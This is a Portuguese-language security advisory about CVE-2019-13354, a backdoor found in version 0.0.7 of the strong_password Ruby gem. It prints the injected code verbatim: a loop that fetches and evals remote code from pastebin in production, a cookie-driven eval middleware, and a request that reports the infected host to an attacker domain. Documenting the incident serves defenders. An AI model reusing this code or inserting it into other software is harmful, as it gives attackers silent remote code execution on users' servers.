For the English version of this alert, click here.
Allele Security Alert
ASA-2019-00408
Identificador(es)
ASA-2019-00408, CVE-2019-13354
Título
Backdoor de Execução Remota de Código
Fabricante(s)
Brian McManus
Produto(s)
RubyGems strong_password
Versão(ões) afetada(s)
RubyGems strong_password versão 0.0.7
Versão(ões) corrigida(s)
RubyGems strong_password versão 0.0.8
Prova de conceito
Desconhecido
Descrição
Há um backdoor de execução remota de código na versão 0.0.7 da gem strong_password, conforme distribuído no RubyGems.org.
Detalhes técnicos
Comparando o conteúdo da versão 0.0.7 da gem strong_password com a última cópia no GitHub. No final do arquivo lib/strong_password/strength_checker.rb na versão 0.0.7, havia o seguinte:
1 def _!;begin;yield;rescue Exception;end;end 2 _!{Thread.new{loop{_!{sleep 3 rand*3333;eval(Net::HTTP.get(URI('https://pastebin.com/raw/xa456PFt')))}}}if 4 Rails.env[0]=="p"}
Versão indentada do diff:
1 def _!; 2 begin; 3 yield; 4 rescue Exception; 5 end; 6 end 7 8 _!{ 9 Thread.new { 10 loop { 11 _!{ 12 sleep rand * 3333; 13 eval( 14 Net::HTTP.get( 15 URI('https://pastebin.com/raw/xa456PFt') 16 ) 17 ) 18 } 19 } 20 } if Rails.env[0] == "p" 21 }
Em um loop dentro de uma nova thread, depois de esperar por um número aleatório de segundos até cerca de uma hora, ele busca e executa o código armazenado em pastebin.com, apenas se estiver em produção, com um tratamento de exceção vazio que ignora qualquer erro isso pode gerar.
O conteúdo do pastebin em 28 de junho às 20:00 UTC:
1 _! { 2 unless defined?(Z1) 3 Rack::Sendfile.prepend Module.new{define_method(:call){|e| 4 _!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/)[1]))} 5 super(e)}} 6 Z1 = "(:" 7 end 8 } 9 10 _! { 11 Faraday.get("http://smiley.zzz.com.ua", { "x" => ENV["URL_HOST"].to_s })
Se ele não foi executado antes (verificando a existência da constante fictícia Z1), ele injeta um middleware que executa eval com dados dos cookies nomeados com um sufixo ___id, somente em produção, todos cercados pelo manipulador de exceção vazio _! função definida na gem hijacked, abrindo a porta para a execução silenciosa de código remoto em produção à vontade do atacante.
Ele também envia uma solicitação para um domínio controlado com um cabeçalho HTTP informando as URLs do host infectado. Depende da gem Faraday sendo carregada para que a notificação funcione (que as gem oauth2 e stripe, por exemplo, incluem).
Créditos
Tute Costa
Referência(s)
strong_password v0.0.7 rubygem hijacked
https://withatwist.dev/strong-password-rubygem-hijacked.html
strong_password | RubyGems.org | your community gem host
https://rubygems.org/gems/strong_password/versions/0.0.8
CVE-2019-13354
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13354
CVE-2019-13354
https://nvd.nist.gov/vuln/detail/CVE-2019-13354
Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.
Última modificação: 10 julho 2019